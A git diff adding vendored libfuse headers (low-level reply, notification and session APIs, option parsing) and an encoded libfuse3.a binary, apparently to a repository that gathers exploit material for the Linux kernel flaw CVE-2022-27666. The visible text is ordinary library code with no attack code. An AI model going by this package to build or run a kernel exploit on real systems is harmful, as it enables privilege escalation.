(fuse_req_t req, fuse_ino_t ino, int mode, + off_t offset, off_t length, struct fuse_file_info *fi); + + /** + * Read directory with attributes + * + * Send a buffer filled using fuse_add_direntry_plus(), with size not + * exceeding the requested size. Send an empty buffer on end of + * stream. + * + * fi->fh will contain the value set by the opendir method, or + * will be undefined if the opendir method didn't set any value. + * + * In contrast to readdir() (which does not affect the lookup counts), + * the lookup count of every entry returned by readdirplus(), except "." + * and "..", is incremented by one. + * + * Valid replies: + * fuse_reply_buf + * fuse_reply_data + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param size maximum number of bytes to send + * @param off offset to continue reading the directory stream + * @param fi file information + */ + void (*readdirplus) (fuse_req_t req, fuse_ino_t ino, size_t size, off_t off, + struct fuse_file_info *fi); + + /** + * Copy a range of data from one file to another + * + * Performs an optimized copy between two file descriptors without the + * additional cost of transferring data through the FUSE kernel module + * to user space (glibc) and then back into the FUSE filesystem again. + * + * In case this method is not implemented, glibc falls back to reading + * data from the source and writing to the destination. Effectively + * doing an inefficient copy of the data. + * + * If this request is answered with an error code of ENOSYS, this is + * treated as a permanent failure with error code EOPNOTSUPP, i.e. all + * future copy_file_range() requests will fail with EOPNOTSUPP without + * being send to the filesystem process. + * + * Valid replies: + * fuse_reply_write + * fuse_reply_err + * + * @param req request handle + * @param ino_in the inode number or the source file + * @param off_in starting point from were the data should be read + * @param fi_in file information of the source file + * @param ino_out the inode number or the destination file + * @param off_out starting point where the data should be written + * @param fi_out file information of the destination file + * @param len maximum size of the data to copy + * @param flags passed along with the copy_file_range() syscall + */ + void (*copy_file_range) (fuse_req_t req, fuse_ino_t ino_in, + off_t off_in, struct fuse_file_info *fi_in, + fuse_ino_t ino_out, off_t off_out, + struct fuse_file_info *fi_out, size_t len, + int flags); + + /** + * Find next data or hole after the specified offset + * + * If this request is answered with an error code of ENOSYS, this is + * treated as a permanent failure, i.e. all future lseek() requests will + * fail with the same error code without being send to the filesystem + * process. + * + * Valid replies: + * fuse_reply_lseek + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param off offset to start search from + * @param whence either SEEK_DATA or SEEK_HOLE + * @param fi file information + */ + void (*lseek) (fuse_req_t req, fuse_ino_t ino, off_t off, int whence, + struct fuse_file_info *fi); +}; + +/** + * Reply with an error code or success. + * + * Possible requests: + * all except forget, forget_multi, retrieve_reply + * + * Wherever possible, error codes should be chosen from the list of + * documented error conditions in the corresponding system calls + * manpage. + * + * An error code of ENOSYS is sometimes treated specially. This is + * indicated in the documentation of the affected handler functions. + * + * The following requests may be answered with a zero error code: + * unlink, rmdir, rename, flush, release, fsync, fsyncdir, setxattr, + * removexattr, setlk. + * + * @param req request handle + * @param err the positive error value, or zero for success + * @return zero for success, -errno for failure to send reply + */ +int fuse_reply_err(fuse_req_t req, int err); + +/** + * Don't send reply + * + * Possible requests: + * forget + * forget_multi + * retrieve_reply + * + * @param req request handle + */ +void fuse_reply_none(fuse_req_t req); + +/** + * Reply with a directory entry + * + * Possible requests: + * lookup, mknod, mkdir, symlink, link + * + * Side effects: + * increments the lookup count on success + * + * @param req request handle + * @param e the entry parameters + * @return zero for success, -errno for failure to send reply + */ +int fuse_reply_entry(fuse_req_t req, const struct fuse_entry_param *e); + +/** + * Reply with a directory entry and open parameters + * + * currently the following members of 'fi' are used: + * fh, direct_io, keep_cache + * + * Possible requests: + * create + * + * Side effects: + * increments the lookup count on success + * + * @param req request handle + * @param e the entry parameters + * @param fi file information + * @return zero for success, -errno for failure to send reply + */ +int fuse_reply_create(fuse_req_t req, const struct fuse_entry_param *e, + const struct fuse_file_info *fi); + +/** + * Reply with attributes + * + * Possible requests: + * getattr, setattr + * + * @param req request handle + * @param attr the attributes + * @param attr_timeout validity timeout (in seconds) for the attributes + * @return zero for success, -errno for failure to send reply + */ +int fuse_reply_attr(fuse_req_t req, const struct stat *attr, + double attr_timeout); + +/** + * Reply with the contents of a symbolic link + * + * Possible requests: + * readlink + * + * @param req request handle + * @param link symbolic link contents + * @return zero for success, -errno for failure to send reply + */ +int fuse_reply_readlink(fuse_req_t req, const char *link); + +/** + * Reply with open parameters + * + * currently the following members of 'fi' are used: + * fh, direct_io, keep_cache + * + * Possible requests: + * open, opendir + * + * @param req request handle + * @param fi file information + * @return zero for success, -errno for failure to send reply + */ +int fuse_reply_open(fuse_req_t req, const struct fuse_file_info *fi); + +/** + * Reply with number of bytes written + * + * Possible requests: + * write + * + * @param req request handle + * @param count the number of bytes written + * @return zero for success, -errno for failure to send reply + */ +int fuse_reply_write(fuse_req_t req, size_t count); + +/** + * Reply with data + * + * Possible requests: + * read, readdir, getxattr, listxattr + * + * @param req request handle + * @param buf buffer containing data + * @param size the size of data in bytes + * @return zero for success, -errno for failure to send reply + */ +int fuse_reply_buf(fuse_req_t req, const char *buf, size_t size); + +/** + * Reply with data copied/moved from buffer(s) + * + * Zero copy data transfer ("splicing") will be used under + * the following circumstances: + * + * 1. FUSE_CAP_SPLICE_WRITE is set in fuse_conn_info.want, and + * 2. the kernel supports splicing from the fuse device + * (FUSE_CAP_SPLICE_WRITE is set in fuse_conn_info.capable), and + * 3. *flags* does not contain FUSE_BUF_NO_SPLICE + * 4. The amount of data that is provided in file-descriptor backed + * buffers (i.e., buffers for which bufv[n].flags == FUSE_BUF_FD) + * is at least twice the page size. + * + * In order for SPLICE_F_MOVE to be used, the following additional + * conditions have to be fulfilled: + * + * 1. FUSE_CAP_SPLICE_MOVE is set in fuse_conn_info.want, and + * 2. the kernel supports it (i.e, FUSE_CAP_SPLICE_MOVE is set in + fuse_conn_info.capable), and + * 3. *flags* contains FUSE_BUF_SPLICE_MOVE + * + * Note that, if splice is used, the data is actually spliced twice: + * once into a temporary pipe (to prepend header data), and then again + * into the kernel. If some of the provided buffers are memory-backed, + * the data in them is copied in step one and spliced in step two. + * + * The FUSE_BUF_SPLICE_FORCE_SPLICE and FUSE_BUF_SPLICE_NONBLOCK flags + * are silently ignored. + * + * Possible requests: + * read, readdir, getxattr, listxattr + * + * Side effects: + * when used to return data from a readdirplus() (but not readdir()) + * call, increments the lookup count of each returned entry by one + * on success. + * + * @param req request handle + * @param bufv buffer vector + * @param flags flags controlling the copy + * @return zero for success, -errno for failure to send reply + */ +int fuse_reply_data(fuse_req_t req, struct fuse_bufvec *bufv, + enum fuse_buf_copy_flags flags); + +/** + * Reply with data vector + * + * Possible requests: + * read, readdir, getxattr, listxattr + * + * @param req request handle + * @param iov the vector containing the data + * @param count the size of vector + * @return zero for success, -errno for failure to send reply + */ +int fuse_reply_iov(fuse_req_t req, const struct iovec *iov, int count); + +/** + * Reply with filesystem statistics + * + * Possible requests: + * statfs + * + * @param req request handle + * @param stbuf filesystem statistics + * @return zero for success, -errno for failure to send reply + */ +int fuse_reply_statfs(fuse_req_t req, const struct statvfs *stbuf); + +/** + * Reply with needed buffer size + * + * Possible requests: + * getxattr, listxattr + * + * @param req request handle + * @param count the buffer size needed in bytes + * @return zero for success, -errno for failure to send reply + */ +int fuse_reply_xattr(fuse_req_t req, size_t count); + +/** + * Reply with file lock information + * + * Possible requests: + * getlk + * + * @param req request handle + * @param lock the lock information + * @return zero for success, -errno for failure to send reply + */ +int fuse_reply_lock(fuse_req_t req, const struct flock *lock); + +/** + * Reply with block index + * + * Possible requests: + * bmap + * + * @param req request handle + * @param idx block index within device + * @return zero for success, -errno for failure to send reply + */ +int fuse_reply_bmap(fuse_req_t req, uint64_t idx); + +/* ----------------------------------------------------------- * + * Filling a buffer in readdir * + * ----------------------------------------------------------- */ + +/** + * Add a directory entry to the buffer + * + * Buffer needs to be large enough to hold the entry. If it's not, + * then the entry is not filled in but the size of the entry is still + * returned. The caller can check this by comparing the bufsize + * parameter with the returned entry size. If the entry size is + * larger than the buffer size, the operation failed. + * + * From the 'stbuf' argument the st_ino field and bits 12-15 of the + * st_mode field are used. The other fields are ignored. + * + * *off* should be any non-zero value that the filesystem can use to + * identify the current point in the directory stream. It does not + * need to be the actual physical position. A value of zero is + * reserved to mean "from the beginning", and should therefore never + * be used (the first call to fuse_add_direntry should be passed the + * offset of the second directory entry). + * + * @param req request handle + * @param buf the point where the new entry will be added to the buffer + * @param bufsize remaining size of the buffer + * @param name the name of the entry + * @param stbuf the file attributes + * @param off the offset of the next entry + * @return the space needed for the entry + */ +size_t fuse_add_direntry(fuse_req_t req, char *buf, size_t bufsize, + const char *name, const struct stat *stbuf, + off_t off); + +/** + * Add a directory entry to the buffer with the attributes + * + * See documentation of `fuse_add_direntry()` for more details. + * + * @param req request handle + * @param buf the point where the new entry will be added to the buffer + * @param bufsize remaining size of the buffer + * @param name the name of the entry + * @param e the directory entry + * @param off the offset of the next entry + * @return the space needed for the entry + */ +size_t fuse_add_direntry_plus(fuse_req_t req, char *buf, size_t bufsize, + const char *name, + const struct fuse_entry_param *e, off_t off); + +/** + * Reply to ask for data fetch and output buffer preparation. ioctl + * will be retried with the specified input data fetched and output + * buffer prepared. + * + * Possible requests: + * ioctl + * + * @param req request handle + * @param in_iov iovec specifying data to fetch from the caller + * @param in_count number of entries in in_iov + * @param out_iov iovec specifying addresses to write output to + * @param out_count number of entries in out_iov + * @return zero for success, -errno for failure to send reply + */ +int fuse_reply_ioctl_retry(fuse_req_t req, + const struct iovec *in_iov, size_t in_count, + const struct iovec *out_iov, size_t out_count); + +/** + * Reply to finish ioctl + * + * Possible requests: + * ioctl + * + * @param req request handle + * @param result result to be passed to the caller + * @param buf buffer containing output data + * @param size length of output data + */ +int fuse_reply_ioctl(fuse_req_t req, int result, const void *buf, size_t size); + +/** + * Reply to finish ioctl with iov buffer + * + * Possible requests: + * ioctl + * + * @param req request handle + * @param result result to be passed to the caller + * @param iov the vector containing the data + * @param count the size of vector + */ +int fuse_reply_ioctl_iov(fuse_req_t req, int result, const struct iovec *iov, + int count); + +/** + * Reply with poll result event mask + * + * @param req request handle + * @param revents poll result event mask + */ +int fuse_reply_poll(fuse_req_t req, unsigned revents); + +/** + * Reply with offset + * + * Possible requests: + * lseek + * + * @param req request handle + * @param off offset of next data or hole + * @return zero for success, -errno for failure to send reply + */ +int fuse_reply_lseek(fuse_req_t req, off_t off); + +/* ----------------------------------------------------------- * + * Notification * + * ----------------------------------------------------------- */ + +/** + * Notify IO readiness event + * + * For more information, please read comment for poll operation. + * + * @param ph poll handle to notify IO readiness event for + */ +int fuse_lowlevel_notify_poll(struct fuse_pollhandle *ph); + +/** + * Notify to invalidate cache for an inode. + * + * Added in FUSE protocol version 7.12. If the kernel does not support + * this (or a newer) version, the function will return -ENOSYS and do + * nothing. + * + * If the filesystem has writeback caching enabled, invalidating an + * inode will first trigger a writeback of all dirty pages. The call + * will block until all writeback requests have completed and the + * inode has been invalidated. It will, however, not wait for + * completion of pending writeback requests that have been issued + * before. + * + * If there are no dirty pages, this function will never block. + * + * @param se the session object + * @param ino the inode number + * @param off the offset in the inode where to start invalidating + * or negative to invalidate attributes only + * @param len the amount of cache to invalidate or 0 for all + * @return zero for success, -errno for failure + */ +int fuse_lowlevel_notify_inval_inode(struct fuse_session *se, fuse_ino_t ino, + off_t off, off_t len); + +/** + * Notify to invalidate parent attributes and the dentry matching + * parent/name + * + * To avoid a deadlock this function must not be called in the + * execution path of a related filesytem operation or within any code + * that could hold a lock that could be needed to execute such an + * operation. As of kernel 4.18, a "related operation" is a lookup(), + * symlink(), mknod(), mkdir(), unlink(), rename(), link() or create() + * request for the parent, and a setattr(), unlink(), rmdir(), + * rename(), setxattr(), removexattr(), readdir() or readdirplus() + * request for the inode itself. + * + * When called correctly, this function will never block. + * + * Added in FUSE protocol version 7.12. If the kernel does not support + * this (or a newer) version, the function will return -ENOSYS and do + * nothing. + * + * @param se the session object + * @param parent inode number + * @param name file name + * @param namelen strlen() of file name + * @return zero for success, -errno for failure + */ +int fuse_lowlevel_notify_inval_entry(struct fuse_session *se, fuse_ino_t parent, + const char *name, size_t namelen); + +/** + * This function behaves like fuse_lowlevel_notify_inval_entry() with + * the following additional effect (at least as of Linux kernel 4.8): + * + * If the provided *child* inode matches the inode that is currently + * associated with the cached dentry, and if there are any inotify + * watches registered for the dentry, then the watchers are informed + * that the dentry has been deleted. + * + * To avoid a deadlock this function must not be called while + * executing a related filesytem operation or while holding a lock + * that could be needed to execute such an operation (see the + * description of fuse_lowlevel_notify_inval_entry() for more + * details). + * + * When called correctly, this function will never block. + * + * Added in FUSE protocol version 7.18. If the kernel does not support + * this (or a newer) version, the function will return -ENOSYS and do + * nothing. + * + * @param se the session object + * @param parent inode number + * @param child inode number + * @param name file name + * @param namelen strlen() of file name + * @return zero for success, -errno for failure + */ +int fuse_lowlevel_notify_delete(struct fuse_session *se, + fuse_ino_t parent, fuse_ino_t child, + const char *name, size_t namelen); + +/** + * Store data to the kernel buffers + * + * Synchronously store data in the kernel buffers belonging to the + * given inode. The stored data is marked up-to-date (no read will be + * performed against it, unless it's invalidated or evicted from the + * cache). + * + * If the stored data overflows the current file size, then the size + * is extended, similarly to a write(2) on the filesystem. + * + * If this function returns an error, then the store wasn't fully + * completed, but it may have been partially completed. + * + * Added in FUSE protocol version 7.15. If the kernel does not support + * this (or a newer) version, the function will return -ENOSYS and do + * nothing. + * + * @param se the session object + * @param ino the inode number + * @param offset the starting offset into the file to store to + * @param bufv buffer vector + * @param flags flags controlling the copy + * @return zero for success, -errno for failure + */ +int fuse_lowlevel_notify_store(struct fuse_session *se, fuse_ino_t ino, + off_t offset, struct fuse_bufvec *bufv, + enum fuse_buf_copy_flags flags); +/** + * Retrieve data from the kernel buffers + * + * Retrieve data in the kernel buffers belonging to the given inode. + * If successful then the retrieve_reply() method will be called with + * the returned data. + * + * Only present pages are returned in the retrieve reply. Retrieving + * stops when it finds a non-present page and only data prior to that + * is returned. + * + * If this function returns an error, then the retrieve will not be + * completed and no reply will be sent. + * + * This function doesn't change the dirty state of pages in the kernel + * buffer. For dirty pages the write() method will be called + * regardless of having been retrieved previously. + * + * Added in FUSE protocol version 7.15. If the kernel does not support + * this (or a newer) version, the function will return -ENOSYS and do + * nothing. + * + * @param se the session object + * @param ino the inode number + * @param size the number of bytes to retrieve + * @param offset the starting offset into the file to retrieve from + * @param cookie user data to supply to the reply callback + * @return zero for success, -errno for failure + */ +int fuse_lowlevel_notify_retrieve(struct fuse_session *se, fuse_ino_t ino, + size_t size, off_t offset, void *cookie); + + +/* ----------------------------------------------------------- * + * Utility functions * + * ----------------------------------------------------------- */ + +/** + * Get the userdata from the request + * + * @param req request handle + * @return the user data passed to fuse_session_new() + */ +void *fuse_req_userdata(fuse_req_t req); + +/** + * Get the context from the request + * + * The pointer returned by this function will only be valid for the + * request's lifetime + * + * @param req request handle + * @return the context structure + */ +const struct fuse_ctx *fuse_req_ctx(fuse_req_t req); + +/** + * Get the current supplementary group IDs for the specified request + * + * Similar to the getgroups(2) system call, except the return value is + * always the total number of group IDs, even if it is larger than the + * specified size. + * + * The current fuse kernel module in linux (as of 2.6.30) doesn't pass + * the group list to userspace, hence this function needs to parse + * "/proc/$TID/task/$TID/status" to get the group IDs. + * + * This feature may not be supported on all operating systems. In + * such a case this function will return -ENOSYS. + * + * @param req request handle + * @param size size of given array + * @param list array of group IDs to be filled in + * @return the total number of supplementary group IDs or -errno on failure + */ +int fuse_req_getgroups(fuse_req_t req, int size, gid_t list[]); + +/** + * Callback function for an interrupt + * + * @param req interrupted request + * @param data user data + */ +typedef void (*fuse_interrupt_func_t)(fuse_req_t req, void *data); + +/** + * Register/unregister callback for an interrupt + * + * If an interrupt has already happened, then the callback function is + * called from within this function, hence it's not possible for + * interrupts to be lost. + * + * @param req request handle + * @param func the callback function or NULL for unregister + * @param data user data passed to the callback function + */ +void fuse_req_interrupt_func(fuse_req_t req, fuse_interrupt_func_t func, + void *data); + +/** + * Check if a request has already been interrupted + * + * @param req request handle + * @return 1 if the request has been interrupted, 0 otherwise + */ +int fuse_req_interrupted(fuse_req_t req); + + +/* ----------------------------------------------------------- * + * Inquiry functions * + * ----------------------------------------------------------- */ + +/** + * Print low-level version information to stdout. + */ +void fuse_lowlevel_version(void); + +/** + * Print available low-level options to stdout. This is not an + * exhaustive list, but includes only those options that may be of + * interest to an end-user of a file system. + */ +void fuse_lowlevel_help(void); + +/** + * Print available options for `fuse_parse_cmdline()`. + */ +void fuse_cmdline_help(void); + +/* ----------------------------------------------------------- * + * Filesystem setup & teardown * + * ----------------------------------------------------------- */ + +struct fuse_cmdline_opts { + int singlethread; + int foreground; + int debug; + int nodefault_subtype; + char *mountpoint; + int show_version; + int show_help; + int clone_fd; + unsigned int max_idle_threads; +}; + +/** + * Utility function to parse common options for simple file systems + * using the low-level API. A help text that describes the available + * options can be printed with `fuse_cmdline_help`. A single + * non-option argument is treated as the mountpoint. Multiple + * non-option arguments will result in an error. + * + * If neither -o subtype= or -o fsname= options are given, a new + * subtype option will be added and set to the basename of the program + * (the fsname will remain unset, and then defaults to "fuse"). + * + * Known options will be removed from *args*, unknown options will + * remain. + * + * @param args argument vector (input+output) + * @param opts output argument for parsed options + * @return 0 on success, -1 on failure + */ +int fuse_parse_cmdline(struct fuse_args *args, + struct fuse_cmdline_opts *opts); + +/** + * Create a low level session. + * + * Returns a session structure suitable for passing to + * fuse_session_mount() and fuse_session_loop(). + * + * This function accepts most file-system independent mount options + * (like context, nodev, ro - see mount(8)), as well as the general + * fuse mount options listed in mount.fuse(8) (e.g. -o allow_root and + * -o default_permissions, but not ``-o use_ino``). Instead of `-o + * debug`, debugging may also enabled with `-d` or `--debug`. + * + * If not all options are known, an error message is written to stderr + * and the function returns NULL. + * + * Option parsing skips argv[0], which is assumed to contain the + * program name. To prevent accidentally passing an option in + * argv[0], this element must always be present (even if no options + * are specified). It may be set to the empty string ('\0') if no + * reasonable value can be provided. + * + * @param args argument vector + * @param op the (low-level) filesystem operations + * @param op_size sizeof(struct fuse_lowlevel_ops) + * @param userdata user data + * + * @return the fuse session on success, NULL on failure + **/ +struct fuse_session *fuse_session_new(struct fuse_args *args, + const struct fuse_lowlevel_ops *op, + size_t op_size, void *userdata); + +/** + * Mount a FUSE file system. + * + * @param mountpoint the mount point path + * @param se session object + * + * @return 0 on success, -1 on failure. + **/ +int fuse_session_mount(struct fuse_session *se, const char *mountpoint); + +/** + * Enter a single threaded, blocking event loop. + * + * When the event loop terminates because the connection to the FUSE + * kernel module has been closed, this function returns zero. This + * happens when the filesystem is unmounted regularly (by the + * filesystem owner or root running the umount(8) or fusermount(1) + * command), or if connection is explicitly severed by writing ``1`` + * to the``abort`` file in ``/sys/fs/fuse/connections/NNN``. The only + * way to distinguish between these two conditions is to check if the + * filesystem is still mounted after the session loop returns. + * + * When some error occurs during request processing, the function + * returns a negated errno(3) value. + * + * If the loop has been terminated because of a signal handler + * installed by fuse_set_signal_handlers(), this function returns the + * (positive) signal value that triggered the exit. + * + * @param se the session + * @return 0, -errno, or a signal value + */ +int fuse_session_loop(struct fuse_session *se); + +#if FUSE_USE_VERSION < 32 +int fuse_session_loop_mt_31(struct fuse_session *se, int clone_fd); +#define fuse_session_loop_mt(se, clone_fd) fuse_session_loop_mt_31(se, clone_fd) +#else +#if (!defined(__UCLIBC__) && !defined(__APPLE__)) +/** + * Enter a multi-threaded event loop. + * + * For a description of the return value and the conditions when the + * event loop exits, refer to the documentation of + * fuse_session_loop(). + * + * @param se the session + * @param config session loop configuration + * @return see fuse_session_loop() + */ +int fuse_session_loop_mt(struct fuse_session *se, struct fuse_loop_config *config); +#else +int fuse_session_loop_mt_32(struct fuse_session *se, struct fuse_loop_config *config); +#define fuse_session_loop_mt(se, config) fuse_session_loop_mt_32(se, config) +#endif +#endif + +/** + * Flag a session as terminated. + * + * This function is invoked by the POSIX signal handlers, when + * registered using fuse_set_signal_handlers(). It will cause any + * running event loops to terminate on the next opportunity. + * + * @param se the session + */ +void fuse_session_exit(struct fuse_session *se); + +/** + * Reset the terminated flag of a session + * + * @param se the session + */ +void fuse_session_reset(struct fuse_session *se); + +/** + * Query the terminated flag of a session + * + * @param se the session + * @return 1 if exited, 0 if not exited + */ +int fuse_session_exited(struct fuse_session *se); + +/** + * Ensure that file system is unmounted. + * + * In regular operation, the file system is typically unmounted by the + * user calling umount(8) or fusermount(1), which then terminates the + * FUSE session loop. However, the session loop may also terminate as + * a result of an explicit call to fuse_session_exit() (e.g. by a + * signal handler installed by fuse_set_signal_handler()). In this + * case the filesystem remains mounted, but any attempt to access it + * will block (while the filesystem process is still running) or give + * an ESHUTDOWN error (after the filesystem process has terminated). + * + * If the communication channel with the FUSE kernel module is still + * open (i.e., if the session loop was terminated by an explicit call + * to fuse_session_exit()), this function will close it and unmount + * the filesystem. If the communication channel has been closed by the + * kernel, this method will do (almost) nothing. + * + * NOTE: The above semantics mean that if the connection to the kernel + * is terminated via the ``/sys/fs/fuse/connections/NNN/abort`` file, + * this method will *not* unmount the filesystem. + * + * @param se the session + */ +void fuse_session_unmount(struct fuse_session *se); + +/** + * Destroy a session + * + * @param se the session + */ +void fuse_session_destroy(struct fuse_session *se); + +/* ----------------------------------------------------------- * + * Custom event loop support * + * ----------------------------------------------------------- */ + +/** + * Return file descriptor for communication with kernel. + * + * The file selector can be used to integrate FUSE with a custom event + * loop. Whenever data is available for reading on the provided fd, + * the event loop should call `fuse_session_receive_buf` followed by + * `fuse_session_process_buf` to process the request. + * + * The returned file descriptor is valid until `fuse_session_unmount` + * is called. + * + * @param se the session + * @return a file descriptor + */ +int fuse_session_fd(struct fuse_session *se); + +/** + * Process a raw request supplied in a generic buffer + * + * The fuse_buf may contain a memory buffer or a pipe file descriptor. + * + * @param se the session + * @param buf the fuse_buf containing the request + */ +void fuse_session_process_buf(struct fuse_session *se, + const struct fuse_buf *buf); + +/** + * Read a raw request from the kernel into the supplied buffer. + * + * Depending on file system options, system capabilities, and request + * size the request is either read into a memory buffer or spliced + * into a temporary pipe. + * + * @param se the session + * @param buf the fuse_buf to store the request in + * @return the actual size of the raw request, or -errno on error + */ +int fuse_session_receive_buf(struct fuse_session *se, struct fuse_buf *buf); + +#ifdef __cplusplus +} +#endif + +#endif /* FUSE_LOWLEVEL_H_ */ diff --git a/cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse_opt.h b/cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse_opt.h new file mode 100644 index 00000000..d8573e74 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse_opt.h @@ -0,0 +1,271 @@ +/* + FUSE: Filesystem in Userspace + Copyright (C) 2001-2007 Miklos Szeredi + + This program can be distributed under the terms of the GNU LGPLv2. + See the file COPYING.LIB. +*/ + +#ifndef FUSE_OPT_H_ +#define FUSE_OPT_H_ + +/** @file + * + * This file defines the option parsing interface of FUSE + */ + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * Option description + * + * This structure describes a single option, and action associated + * with it, in case it matches. + * + * More than one such match may occur, in which case the action for + * each match is executed. + * + * There are three possible actions in case of a match: + * + * i) An integer (int or unsigned) variable determined by 'offset' is + * set to 'value' + * + * ii) The processing function is called, with 'value' as the key + * + * iii) An integer (any) or string (char *) variable determined by + * 'offset' is set to the value of an option parameter + * + * 'offset' should normally be either set to + * + * - 'offsetof(struct foo, member)' actions i) and iii) + * + * - -1 action ii) + * + * The 'offsetof()' macro is defined in the header. + * + * The template determines which options match, and also have an + * effect on the action. Normally the action is either i) or ii), but + * if a format is present in the template, then action iii) is + * performed. + * + * The types of templates are: + * + * 1) "-x", "-foo", "--foo", "--foo-bar", etc. These match only + * themselves. Invalid values are "--" and anything beginning + * with "-o" + * + * 2) "foo", "foo-bar", etc. These match "-ofoo", "-ofoo-bar" or + * the relevant option in a comma separated option list + * + * 3) "bar=", "--foo=", etc. These are variations of 1) and 2) + * which have a parameter + * + * 4) "bar=%s", "--foo=%lu", etc. Same matching as above but perform + * action iii). + * + * 5) "-x ", etc. Matches either "-xparam" or "-x param" as + * two separate arguments + * + * 6) "-x %s", etc. Combination of 4) and 5) + * + * If the format is "%s", memory is allocated for the string unlike with + * scanf(). The previous value (if non-NULL) stored at the this location is + * freed. + */ +struct fuse_opt { + /** Matching template and optional parameter formatting */ + const char *templ; + + /** + * Offset of variable within 'data' parameter of fuse_opt_parse() + * or -1 + */ + unsigned long offset; + + /** + * Value to set the variable to, or to be passed as 'key' to the + * processing function. Ignored if template has a format + */ + int value; +}; + +/** + * Key option. In case of a match, the processing function will be + * called with the specified key. + */ +#define FUSE_OPT_KEY(templ, key) { templ, -1U, key } + +/** + * Last option. An array of 'struct fuse_opt' must end with a NULL + * template value + */ +#define FUSE_OPT_END { NULL, 0, 0 } + +/** + * Argument list + */ +struct fuse_args { + /** Argument count */ + int argc; + + /** Argument vector. NULL terminated */ + char **argv; + + /** Is 'argv' allocated? */ + int allocated; +}; + +/** + * Initializer for 'struct fuse_args' + */ +#define FUSE_ARGS_INIT(argc, argv) { argc, argv, 0 } + +/** + * Key value passed to the processing function if an option did not + * match any template + */ +#define FUSE_OPT_KEY_OPT -1 + +/** + * Key value passed to the processing function for all non-options + * + * Non-options are the arguments beginning with a character other than + * '-' or all arguments after the special '--' option + */ +#define FUSE_OPT_KEY_NONOPT -2 + +/** + * Special key value for options to keep + * + * Argument is not passed to processing function, but behave as if the + * processing function returned 1 + */ +#define FUSE_OPT_KEY_KEEP -3 + +/** + * Special key value for options to discard + * + * Argument is not passed to processing function, but behave as if the + * processing function returned zero + */ +#define FUSE_OPT_KEY_DISCARD -4 + +/** + * Processing function + * + * This function is called if + * - option did not match any 'struct fuse_opt' + * - argument is a non-option + * - option did match and offset was set to -1 + * + * The 'arg' parameter will always contain the whole argument or + * option including the parameter if exists. A two-argument option + * ("-x foo") is always converted to single argument option of the + * form "-xfoo" before this function is called. + * + * Options of the form '-ofoo' are passed to this function without the + * '-o' prefix. + * + * The return value of this function determines whether this argument + * is to be inserted into the output argument vector, or discarded. + * + * @param data is the user data passed to the fuse_opt_parse() function + * @param arg is the whole argument or option + * @param key determines why the processing function was called + * @param outargs the current output argument list + * @return -1 on error, 0 if arg is to be discarded, 1 if arg should be kept + */ +typedef int (*fuse_opt_proc_t)(void *data, const char *arg, int key, + struct fuse_args *outargs); + +/** + * Option parsing function + * + * If 'args' was returned from a previous call to fuse_opt_parse() or + * it was constructed from + * + * A NULL 'args' is equivalent to an empty argument vector + * + * A NULL 'opts' is equivalent to an 'opts' array containing a single + * end marker + * + * A NULL 'proc' is equivalent to a processing function always + * returning '1' + * + * @param args is the input and output argument list + * @param data is the user data + * @param opts is the option description array + * @param proc is the processing function + * @return -1 on error, 0 on success + */ +int fuse_opt_parse(struct fuse_args *args, void *data, + const struct fuse_opt opts[], fuse_opt_proc_t proc); + +/** + * Add an option to a comma separated option list + * + * @param opts is a pointer to an option list, may point to a NULL value + * @param opt is the option to add + * @return -1 on allocation error, 0 on success + */ +int fuse_opt_add_opt(char **opts, const char *opt); + +/** + * Add an option, escaping commas, to a comma separated option list + * + * @param opts is a pointer to an option list, may point to a NULL value + * @param opt is the option to add + * @return -1 on allocation error, 0 on success + */ +int fuse_opt_add_opt_escaped(char **opts, const char *opt); + +/** + * Add an argument to a NULL terminated argument vector + * + * @param args is the structure containing the current argument list + * @param arg is the new argument to add + * @return -1 on allocation error, 0 on success + */ +int fuse_opt_add_arg(struct fuse_args *args, const char *arg); + +/** + * Add an argument at the specified position in a NULL terminated + * argument vector + * + * Adds the argument to the N-th position. This is useful for adding + * options at the beginning of the array which must not come after the + * special '--' option. + * + * @param args is the structure containing the current argument list + * @param pos is the position at which to add the argument + * @param arg is the new argument to add + * @return -1 on allocation error, 0 on success + */ +int fuse_opt_insert_arg(struct fuse_args *args, int pos, const char *arg); + +/** + * Free the contents of argument list + * + * The structure itself is not freed + * + * @param args is the structure containing the argument list + */ +void fuse_opt_free_args(struct fuse_args *args); + + +/** + * Check if an option matches + * + * @param opts is the option description array + * @param opt is the option to match + * @return 1 if a match is found, 0 if not + */ +int fuse_opt_match(const struct fuse_opt opts[], const char *opt); + +#ifdef __cplusplus +} +#endif + +#endif /* FUSE_OPT_H_ */ diff --git a/cve/linux-kernel/2022/CVE-2022-27666/libfuse/meson.build b/cve/linux-kernel/2022/CVE-2022-27666/libfuse/meson.build new file mode 100644 index 00000000..bf671977 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-27666/libfuse/meson.build @@ -0,0 +1,4 @@ +libfuse_headers = [ 'fuse.h', 'fuse_common.h', 'fuse_lowlevel.h', + 'fuse_opt.h', 'cuse_lowlevel.h', 'fuse_log.h' ] + +install_headers(libfuse_headers, subdir: 'fuse3') diff --git a/cve/linux-kernel/2022/CVE-2022-27666/libfuse3.a b/cve/linux-kernel/2022/CVE-2022-27666/libfuse3.a new file mode 100644 index 0000000000000000000000000000000000000000..81aa0a40f969584d486cdaac87e33918a910be24 GIT binary patch literal 1798260 zcmeFadwg6~xi>y30Ya_pAVs2}4xXu|TuLH{Ndd{wOxXhyh_t1JQqwet^9OZaW1j?n5(o0$|SgKs4DizVrFoo6vX}OfV-|w^5-m_2lv;|9>Ux`w;#=@#@>u z|9{x-JF(>d$&Z!$4)^~_Kiuv+dFJ=W{lDtOtWW;G;0<5ZIRAfS#len5EZWlD+uPT& zG~RN~XMDx?wd%eny1eBa?{$qTZ|jb>_O!IMwsl5z#ol;V$BLG|-tKNyus9lTiA7_v zuHGJ1z*niO=s;JzP^qoACmtQp1s$;#G;EE>`&9+p_eXnLm+H6RHqq1F)w87VbZL86 zp>Ax&(xRtDH~mozI#%eZw=de`ZOr>ZztPtAmPLt(^9-f6y$FO$m-O_uyN{PH@eV2$jSmzd4u~u+=s%b(H zy|i~(w75xEZ(Cdw6lxTx3pX9D-I%I(Hf_CqD_T0bx}z=qtv!o9@QFpE1psyRIMjzu 